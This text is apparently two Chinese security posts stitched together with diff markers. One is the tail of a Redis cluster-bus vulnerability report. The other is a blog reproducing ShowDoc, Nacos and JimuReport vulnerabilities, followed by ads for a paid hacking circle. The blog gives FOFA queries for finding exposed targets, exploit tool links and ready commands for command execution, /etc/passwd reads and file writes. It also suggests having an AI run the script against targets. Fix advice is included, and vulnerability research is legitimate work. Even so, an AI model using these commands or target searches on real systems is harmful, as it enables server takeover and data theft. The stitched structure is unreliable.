图 4-2｜三类部署形态的实测风险边界。未启用总线认证且显式豁免的形态风险最高；默认形态随官方加固收敛；启用证书校验后风险进一步收敛，剩余边界仅限持证内部场景。
|
||||
|
||||
|
||||
|
||||
实测结论也印证了官方调整默认值的方向：在总线未启用认证的形态下，风险确实普遍存在；启用证书校验后，风险面显著收敛。剩余边界的精确刻画见下一节。
|
||||
|
||||
|
||||
|
||||
**把边界测到底：最严格加固形态下的实测结论**
|
||||
|
||||
|
||||
为了把风险边界测完整，TraceLoom 搭建了生产级 TLS 加密集群环境（真实 CA、合法证书、最新正式版 Redis），在官方推荐的最严格加固形态下继续实景攻防验证，实测结果如下：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
受害节点侧的状态变化是决定性的：role:slave（从主库变成从库）、主库地址指向攻击者的监听地址、全部数据归属归攻击者节点。
|
||||
|
||||
|
||||
|
||||
**原因用大白话讲**
|
||||
：证书只能证明“你是这栋楼的人”，不能证明“**你就是你自称的那一户**
|
||||
”。整个过程中，协议从头到尾没有拿证书去核对“你到底是谁”。这一结论直接决定了处置优先级：**证书校验应当作为默认基线尽快启用，同时对集群证书的发放与节点准入保持严格管理。**
|
||||
|
||||
|
||||
**第二条路径（内部通行证，CVSS 9.8）在同一环境下同样成立**
|
||||
。我们伪造成员身份发送一条报文，受害节点的回包里就带回了内部口令；用这张通行证在客户端口认证，**即使实例已经设置了访问密码，也能直接拿到不受限制的身份**
|
||||
：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
图 5-1｜证书校验为什么不拦住。证书只能证明“你是本集群成员”，从不核对“你是不是你自称的那个节点”——源码中证书身份在总线报文处理路径上的引用次数为 0。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
图 5-2｜TLS 加固形态下的验证环境与结果。五条结果全部命中（含第二条路径：即使实例已设置访问密码也能取得不受限制的身份）；全程真实组件，无任何模拟。
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞交付结论**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
本次挖掘覆盖 Redis 5.0～8.10.1 全版本区间，两条攻击链均为无账号、无口令、低门槛的高危风险（CVSS 10.0 / 9.8）。TraceLoom 同步输出了与官方加固方向一致的处置指引：优先启用总线证书校验、收敛总线端口的网络暴露面、严格管理集群证书发放与节点准入，技术团队可直接对照落地。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
从发现漏洞，到验证漏洞，TraceLoom 正持续探索 AI Agent 在真实安全场景中的应用，让安全测试从单点自动化进一步走向全流程 AI 化。
|
||||
|
||||
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**关**
|
||||
|
||||
|
||||
**注**
|
||||
|
||||
|
||||
**我**
|
||||
|
||||
|
||||
**们**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**推 荐 阅 读**
|
||||
|
||||
|
||||
（点击图片查看）
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg5ODg3MTQxNA==&mid=2247495450&idx=1&sn=1c43f01656a896adeb137830ca3ac741&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg5ODg3MTQxNA==&mid=2247495225&idx=1&sn=43297953204066f06de17f0330660cbe&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -0,0 +1,559 @@
|
||||
# 近期漏洞简单整理复现-showdoc/Nacos/JimuReport
|
||||
原创 陌笙
|
||||
陌笙 陌笙不太懂安全 2026-09-18 09:33
|
||||
|
||||
免责声明
|
||||
```
|
||||
由于传播、利用本公众号所提供的信息而造成
|
||||
的任何直接或者间接的后果及损失，均由使用
|
||||
者本人负责，公众号陌笙不太懂安全及作者不
|
||||
为此承担任何责任，一旦造成后果请自行承担！
|
||||
如有侵权烦请告知，我们会立即删除并致歉，谢谢！
|
||||
```
|
||||
# ShowDoc ≤ v3.9.2 RCE漏洞
|
||||
## 漏洞描述
|
||||
|
||||
ShowDoc v3.9.2 及以下版本存在一个未授权远程代码执行（RCE）漏洞。该漏洞源于注册接口对
|
||||
username
|
||||
参数缺乏严格的字符白名单校验，攻击者可在无需登录的情况下，将 PHP 代码写入默认位于 Web 根目录下的 SQLite 数据库文件（
|
||||
Sqlite/showdoc.db.php
|
||||
），随后通过直接访问该文件触发代码执行，从而完全控制服务器。
|
||||
## 漏洞核心原理
|
||||
|
||||
该漏洞的利用依赖三个关键条件的叠加：
|
||||
1. **注入点：用户名过滤不严**
|
||||
注册接口
|
||||
/server/index.php?s=/api/user/registerByVerify
|
||||
对
|
||||
username
|
||||
参数仅执行了
|
||||
trim()
|
||||
函数（去除首尾空白），
|
||||
**没有**
|
||||
进行字符类型或白名单校验。这意味着包含
|
||||
<?php
|
||||
等 PHP 标签的任意字符串都能被作为用户名原样写入数据库。
|
||||
|
||||
1. **落地点：数据库文件后缀为 .php**
|
||||
ShowDoc 默认使用 SQLite 存储数据，数据库文件路径为
|
||||
Sqlite/showdoc.db.php
|
||||
。该文件被设计为
|
||||
.php
|
||||
后缀，原意是防止数据库文件被直接下载（Web 服务器会将
|
||||
.php
|
||||
文件交由 PHP 解析器处理）。这意外地为攻击者提供了让恶意代码进入 PHP 词法扫描的通道。
|
||||
|
||||
1. **触发点：直接访问数据库文件**
|
||||
攻击者通过
|
||||
GET /Sqlite/showdoc.db.php?cmd=你的命令
|
||||
请求该文件。Web 服务器（如 Nginx）匹配到
|
||||
.php
|
||||
后缀后，会将请求交给 PHP-FPM 解析。文件内的恶意用户名会被作为 PHP 代码执行。
|
||||
|
||||
## 影响范围与修复
|
||||
|
||||
影响版本：ShowDoc <= v3.9.2（默认 SQLite 部署，且注册功能开启）。
|
||||
|
||||
修复版本：ShowDoc v3.9.3。官方在 3.9.3 版本中对 username 增加了严格的格式正则校验（仅允许字母、数字、下划线、横线、中文）。
|
||||
## 资产测绘
|
||||
```
|
||||
fofa:
|
||||
icon_hash=1969934080 || title="ShowDoc"
|
||||
```
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
确定资产
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞poc
|
||||
|
||||
地址
|
||||
```
|
||||
工具地址
|
||||
https://github.com/Mr-xn/showdoc-registerbyverify-rce#1
|
||||
|
||||
工具用法
|
||||
# 自动打码 (推荐): 双模型识别 + 失败自动换码重试
|
||||
python3 exploit.py --url http://<target>:<port> --ocr --cmd id
|
||||
|
||||
# 手动验证码: 脚本下载验证码图片后输入, 或 --captcha 直接指定
|
||||
python3 exploit.py --url http://<target>:<port> --captcha XXXX --cmd id
|
||||
|
||||
# 交互模式
|
||||
python3 exploit.py --url http://<target>:<port> --ocr -i
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
关闭注册功能：在数据库的 options 表中将 register_open 设置为 0。
|
||||
|
||||
禁止访问数据库目录：在 Nginx 或相关 Web 服务器配置中，添加规则禁止访问 /Sqlite/ 目录或 *.db.php 文件。
|
||||
|
||||
迁移数据库：将 SQLite 数据库文件移出 Web 根目录（例如移到 /data/ 目录下），或考虑切换为 MySQL 数据库。
|
||||
# Nacos 管理接口权限绕过漏洞
|
||||
## 漏洞描述
|
||||
|
||||
该漏洞源于 Nacos 3.x 版本中 UserControllerV3.createUser() 等用户、角色、权限管理接口的 Secured 注解缺少 apiType 参数，而该参数默认值为 OPEN_API，导致这些本应受管理员鉴权保护的接口错误地落入由 AuthFilter 处理、且默认关闭（nacos.core.auth.enabled=false）的普通鉴权作用域，而非由 AuthAdminFilter 处理、默认开启（nacos.core.auth.admin.enabled=true）的 ADMIN_API 作用域，最终使攻击者可在未授权状态下直接调用这些管理接口创建高权限管理员账户，完全接管 Nacos 服务端。
|
||||
### 受影响接口
|
||||
<table><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;text-align: left;"><span cid="n78" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 205.525px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">接口</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;text-align: left;"><span cid="n79" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 457.275px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">路径</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;text-align: left;"><span cid="n80" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 219.2px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">方法</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n82" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 205.525px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">创建/删除用户</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n83" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 457.275px;min-height: 10px;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">/nacos/v3/auth/user</span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n84" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 219.2px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">POST / DELETE</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n86" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 205.525px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">创建/删除角色</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n87" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 457.275px;min-height: 10px;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">/nacos/v3/auth/role</span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span Line truncated
|
||||
### 漏洞危害
|
||||
|
||||
攻击者可在未授权状态下创建管理员账户，进而完全接管 Nacos 服务端，具体包括：
|
||||
- 窃取所有微服务配置信息（含数据库连接字符串、API 密钥等敏感凭证）
|
||||
|
||||
- 修改配置导致业务中断
|
||||
|
||||
- 创建后门账户实现持久化
|
||||
|
||||
- 利用获取的凭证横向移动攻击企业内网其他系统
|
||||
|
||||
## 影响范围
|
||||
### 3.1 受影响版本
|
||||
|
||||
**3.0.0 <= Nacos <= 3.2.3**
|
||||
## 资产测绘
|
||||
```
|
||||
FOFA语句:
|
||||
app="nacos" && port="8848"
|
||||
body="HTTP Status 404 – Not Found" && port="8848"
|
||||
```
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
资产确定
|
||||
|
||||
|
||||
```
|
||||
工具地址
|
||||
https://github.com/TlyHj/nacos-v3-attack
|
||||
|
||||
工具用法
|
||||
python3 poc.py # 默认打 127.0.0.1:8848
|
||||
python3 poc.py --host 10.0.0.5 --port 8848
|
||||
python3 poc.py --check-only # 只读探测，不写入
|
||||
python3 poc.py --no-cleanup # 打完不删注入的账号
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
官方已在 Nacos 3.2.4 版本中修复此漏洞。修复方式为在受影响接口的 @Secured 注解中补上 apiType = ApiType.ADMIN_API。
|
||||
# JimuReport 2.5.1 未授权RCE漏洞
|
||||
## 漏洞描述
|
||||
|
||||
该漏洞源于 JimuReport（积木报表）v2.5.1 自动导出功能在身份校验与表达式执行两方面存在安全缺陷的叠加。
|
||||
|
||||
一方面，导出接口 /jmreport/auto/export/python/plugin 被设计为免登录访问，但其签名校验使用了硬编码的固定密钥。
|
||||
|
||||
攻击者可直接利用该密钥伪造任意有效的 X-Sign 请求签名，完全绕过身份认证。
|
||||
|
||||
另一方面，该接口在导出报表时会遍历请求中的查询参数值，并将其送入 Aviator 表达式引擎执行。代码未对以“=”开头的参数做任何过滤或白名单约束，攻击者可利用 Aviator 沙箱逃逸实现任意 Java 反射调用，最终在无任何凭据的情况下达成远程代码执行。
|
||||
## 漏洞影响
|
||||
|
||||
影响版本： JimuReport = 2.5.1（且依赖的 Aviator 版本 < 5.4.4）。
|
||||
## 漏洞危害
|
||||
|
||||
完全控制服务器：以应用权限执行任意系统命令，实现服务器沦陷。
|
||||
|
||||
数据泄露：访问、修改或删除服务器上的敏感数据。
|
||||
|
||||
持久性后门：在服务器上安装后门，以便未来随时访问。
|
||||
|
||||
服务中断：破坏服务器正常运行，导致服务瘫痪。
|
||||
## 资产测绘
|
||||
```
|
||||
FOFAy语法
|
||||
icon_hash=1695246976 || title="欢迎使用积木报表"
|
||||
```
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
资产确定
|
||||
|
||||
|
||||
|
||||
漏洞复现
|
||||
|
||||
这个漏洞如果不好复现，可以指定目标，让ai使用这个脚本来搞，或者改改脚本都可以。
|
||||
```
|
||||
工具地址
|
||||
https://github.com/mhtsec/jimureport-2.5.1-rce
|
||||
|
||||
工具使用
|
||||
|
||||
python3 exploit.py -t http://target:8085 -m exec -c 'id' # RCE 执行命令并回显(默认 id)
|
||||
python3 exploit.py -t http://target:8085 -m read -p /etc/passwd # 任意文件读
|
||||
python3 exploit.py -t http://target:8085 -m write -p /tmp/x -d hello # 任意文件写并读回验证
|
||||
python3 exploit.py -t http://target:8085 -m probe # 环境探测
|
||||
python3 exploit.py -t http://target:8085 -r <reportId> -k <param> # 指定回显报表与参数名
|
||||
```
|
||||
|
||||
|
||||
# 白帽集市简单介绍
|
||||
## 白帽集市：网安人的“海鲜市场”食用指南
|
||||
|
||||
|
||||
|
||||
### 一、它是什么？为什么会出现？
|
||||
|
||||
白帽集市是 FreeBuf 知识大陆 APP 内打造的一个
|
||||
**面向网络安全行业的垂直交易平台**
|
||||
，官方定位是“网安人自己的海鲜市场”。
|
||||
|
||||
**它要解决的痛点很具体：**
|
||||
|
||||
过去，白帽子们把工具、课程、AI Agent、技术资料和安服资源发到微信群、朋友圈甚至二手平台，原因很简单——
|
||||
**除了这些地方，几乎没有更好的选择**
|
||||
。
|
||||
|
||||
但问题也很明显：
|
||||
- 真正有需求的买家很难找到匹配商品
|
||||
|
||||
- 卖家也很难触达精准用户
|
||||
|
||||
- 沟通靠私聊，交付靠信任
|
||||
|
||||
- 既缺少展示机会，也缺少统一的服务保障
|
||||
|
||||
官方的判断是：
|
||||
**不是网安行业没有需求，而是一直缺少一个真正属于网安人的“海鲜市场”。**
|
||||
|
||||
所以白帽集市的目标很明确：让买家更容易找到商品，让卖家更容易找到用户，让每一位网安人的能力都能持续创造价值。
|
||||
### 二、卖家能做什么？可以卖什么？
|
||||
|
||||
**与网络安全相关的数字商品和技术服务，都欢迎上架。**
|
||||
|
||||
官方给出的品类包括：
|
||||
|
||||
<table><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;text-align: left;"><span cid="n236" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 167.438px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">品类</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;text-align: left;"><span cid="n237" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 741.562px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">具体例子</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n239" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 167.438px;min-height: 10px;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">工具</span></span></strong></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n240" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 741.562px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">扫描器、插件、自动化脚本、开发工具</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n242" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 167.438px;min-height: 10px;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">知识资料</span></span></strong></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n243" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 741.562px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">漏洞分析、代码审计笔记、CTF Writeup、SRC 实战经验</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n245" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 167.438px;min-height: 10px;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">AI 相关</span></span></strong></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cid="n246" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 741.562px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">AI 工具、安全 Agent、Prompt、自动化工作流</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;text-align: left;"><span cidLine truncated
|
||||
**卖家为什么选这里？**
|
||||
|
||||
核心原因是
|
||||
**用户精准**
|
||||
。FreeBuf 知识大陆的用户本身就是白帽、安全工程师、安全团队和企业用户，卖家面对的不再是二手平台上形形色色的买家，而是真正有需求的目标用户。
|
||||
|
||||
**费用方面：**
|
||||
- 平台服务费
|
||||
**0%**
|
||||
|
||||
- 仅收
|
||||
**0.6%**
|
||||
支付通道手续费
|
||||
|
||||
- 提现无上限，每周可提现到账
|
||||
|
||||
### 三、买家能做什么？
|
||||
|
||||
买家主要是
|
||||
**有实战需求的白帽子、SRC 漏洞猎人、安全从业者**
|
||||
。
|
||||
|
||||
**核心动作：**
|
||||
- **买工具提效**
|
||||
：扫描器、插件、自动化脚本等实战工具
|
||||
|
||||
- **买知识资料**
|
||||
：漏洞分析、代码审计笔记、CTF Writeup、SRC 实战经验
|
||||
|
||||
- **买 AI 工具与安全 Agent**
|
||||
：Prompt、自动化工作流等
|
||||
|
||||
- **买技术资源**
|
||||
：PoC、规则库、字典、模板、指纹库
|
||||
|
||||
- **买课程与服务**
|
||||
：视频课程、安全咨询、应急响应、培训陪跑
|
||||
|
||||
- **看种草笔记再决定**
|
||||
：平台支持“种草笔记”和“种草电报”两种内容形式，都能挂载商品链接，买家可以先看推荐再下单
|
||||
|
||||
### 四、平台有哪些扶持政策？
|
||||
|
||||
**第一批卖家扶持计划：3 万元补贴**
|
||||
|
||||
官方明确表示：“任何一个生态，都离不开第一批创业者。”所以准备了
|
||||
**3 万元扶持计划**
|
||||
。
|
||||
|
||||
**流量扶持：**
|
||||
- 商品有机会进入平台推荐池
|
||||
|
||||
- 获得首页推荐、品类专区曝光
|
||||
|
||||
- 官方社群推荐、专题活动、直播推荐
|
||||
|
||||
- FreeBuf 主站流量扶持
|
||||
|
||||
**限时入驻福利：**
|
||||
- 平台服务费 0%，仅收 0.6% 支付通道手续费
|
||||
|
||||
- 开店最高领取
|
||||
**100 元**
|
||||
红包
|
||||
|
||||
- AI 工具最高享
|
||||
**10%**
|
||||
销售补贴
|
||||
|
||||
- 全店商品最高享
|
||||
**5%**
|
||||
销售补贴
|
||||
|
||||
- 3 万元补贴，先到先得
|
||||
|
||||
### 五、怎么进入？怎么交易？
|
||||
- **手机端**
|
||||
：下载 FreeBuf 知识大陆 App，首页点击“店铺”即可进入
|
||||
|
||||
- **PC 端**
|
||||
：登录网页后也有白帽集市入口
|
||||
|
||||
- **内容带货**
|
||||
：上架后用「种草笔记」和「种草电报」发布内容，两种形式都能挂载商品链接，发布后商品自动进入平台推荐池
|
||||
|
||||
### 六、白帽集市入口
|
||||
### https://wiki.freebuf.com/whitehatpage
|
||||
|
||||
|
||||
|
||||
**后台回复加群加入交流群**
|
||||
|
||||
****
|
||||
**广告：********cisp pte/pts &nisp1级2级低价报考**
|
||||
|
||||
|
||||
**陌笙安全纷传圈子+陌笙src挖掘知识库+陌笙安全漏洞库+陌笙安全面试题库**
|
||||
**简单介绍****（**
|
||||
**加入纷传圈子**
|
||||
**送****知识库+漏洞库+面试题库****）**
|
||||
|
||||
|
||||
如果觉得合适可以加入,圈子目前价格
|
||||
39.9元，价格只会根据圈子内容和圈子人数进行上调，不会下跌。。。
|
||||
|
||||
|
||||
**圈子福利**
|
||||
|
||||
|
||||
**edu漏洞挖掘1v1指导出洞**
|
||||
|
||||
****
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**skill+grok辅助挖掘某企业sr**
|
||||
**c****实战效果，能出但是重复多。**
|
||||
|
||||
|
||||
|
||||
****
|
||||
|
||||
|
||||
****
|
||||
**企业src边缘&核心资产实战效果&&有重复但是证明好模型+AI确实够用**
|
||||
|
||||
**（图片仅供参考，我出不等于你出，见识到ai神力即可，多去用AI!!!）**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
**陌笙src挖掘知识库介绍（内容持续更新中!!!)**
|
||||
```
|
||||
信息收集(主域名信息收集,子域名信息收集等&会永久提供fofa-key助力)
|
||||
弱口令漏洞&未授权访问漏洞挖掘
|
||||
任意文件读取&删除&下载&上传漏洞
|
||||
sql注入漏洞
|
||||
url重定向漏洞
|
||||
csrf&ssrf漏洞挖掘
|
||||
XSS&XXE漏洞挖掘等等常见漏洞
|
||||
cors&目录遍历&越权漏洞挖掘
|
||||
EDUSRC(证书站挖掘案例分享&edusrc挖掘技巧分享)
|
||||
CNVD挖掘技巧分享&实战案例报告编写
|
||||
公益漏洞挖掘（公益src挖掘漏洞分享&提供补天1权重资产）
|
||||
SRC挖掘实战(针对各种常见功能总结的常见测试思路等快速提升)
|
||||
经典常见Nday漏洞(常见中间件&以及各种常见框架)复现
|
||||
云安全相关漏洞挖掘（云key扫盲&云存储桶&快速识别云环境&云攻防）
|
||||
AI相关学习（AI基础&AI代码审计实战测试&webLLM攻击等）
|
||||
APP&小程序漏洞挖掘
|
||||
等各模块不在一一介绍
|
||||
```
|
||||
|
||||
信息收集
|
||||
|
||||
|
||||
|
||||
|
||||
src挖掘基础
|
||||
|
||||
|
||||
|
||||
|
||||
src挖掘实战
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
edusrc
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
经典nday复现
|
||||
|
||||
|
||||
|
||||
|
||||
云安全&AI安全
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**陌笙安全漏洞库介绍**
|
||||
```
|
||||
最新漏洞查看
|
||||
1day&0day分享
|
||||
EDU学校相关漏洞
|
||||
Web应用漏洞
|
||||
CMS漏洞
|
||||
OA产品漏洞
|
||||
中间件漏洞
|
||||
云安全漏洞
|
||||
人工智能漏洞
|
||||
其他漏洞
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
****
|
||||
**陌笙安全面试库**
|
||||
```
|
||||
渗透测试基本问题一汇总
|
||||
渗透测试基本问题二汇总
|
||||
渗透测试基本问题三汇总
|
||||
微步护网面试题目
|
||||
长亭科技面试
|
||||
深信服护网面试
|
||||
启明星辰渗透测试面试题目
|
||||
安恒面试题目
|
||||
绿盟笔试题目
|
||||
360面试
|
||||
奇安信护网面试
|
||||
运维面试题目
|
||||
运维面试题库
|
||||
网安面试相关文档大全
|
||||
相关面试文章推荐
|
||||
等等
|
||||
```
|
||||
|
||||
|
||||
|
||||
****
|
||||
**POC库****&&更新适配afrog&&nuclei&&dddd的POC&1day/Nday等&&**
|
||||
**dddd二开****工具[助力渗透测试&&红蓝攻防]**
|
||||
|
||||
**工具截图**
|
||||
|
||||
****
|
||||
**实战效果**
|
||||
|
||||
|
||||
|
||||
****
|
||||
**poc库【后续持续更新】**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**AI赋能-**
|
||||
**skill辅助**
|
||||
**漏洞挖掘（免责&&慎用）**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**圈友skill+ai辅助渗透**
|
||||
**实战效果**
|
||||
**，支持打假！**
|
||||
|
||||
证书站
|
||||
|
||||
|
||||
|
||||
普通站点
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
**陌笙**
|
||||
**纷传****圈子介**
|
||||
**绍**
|
||||
```
|
||||
1、src挖掘思维导图，信息收集思维导图，edusrc挖掘思维导图，以及后续的红队&面试思维导图&自己网安笔记等持续更新
|
||||
2、2025-2026的edusrc实战报告包含证书站和非证书站以及2025之前的各种优质报思路分享
|
||||
3、各种src报告思路分享（内部&外部）
|
||||
4、分享各种src挖掘&edusrc挖掘培训资料&视频
|
||||
5、不定期分享通杀、0day
|
||||
6、有圈子群可以技术交流以及不定期抽取证书&免费rank
|
||||
7.分享各种护网资料各家安全厂商讲解视频&精选实战面试题目
|
||||
8、各种框架漏洞技巧分享
|
||||
9、各种源码分享（泛微、正方系统、用友等）
|
||||
10、漏洞挖掘工具&信息收集工具&内网渗透免杀等网安工具分享
|
||||
11、各种ctf资料以及题目分享
|
||||
12、cnvd挖掘技巧&CNVD资产&src资产分享&补天1权重资产分享&fofakey共用
|
||||
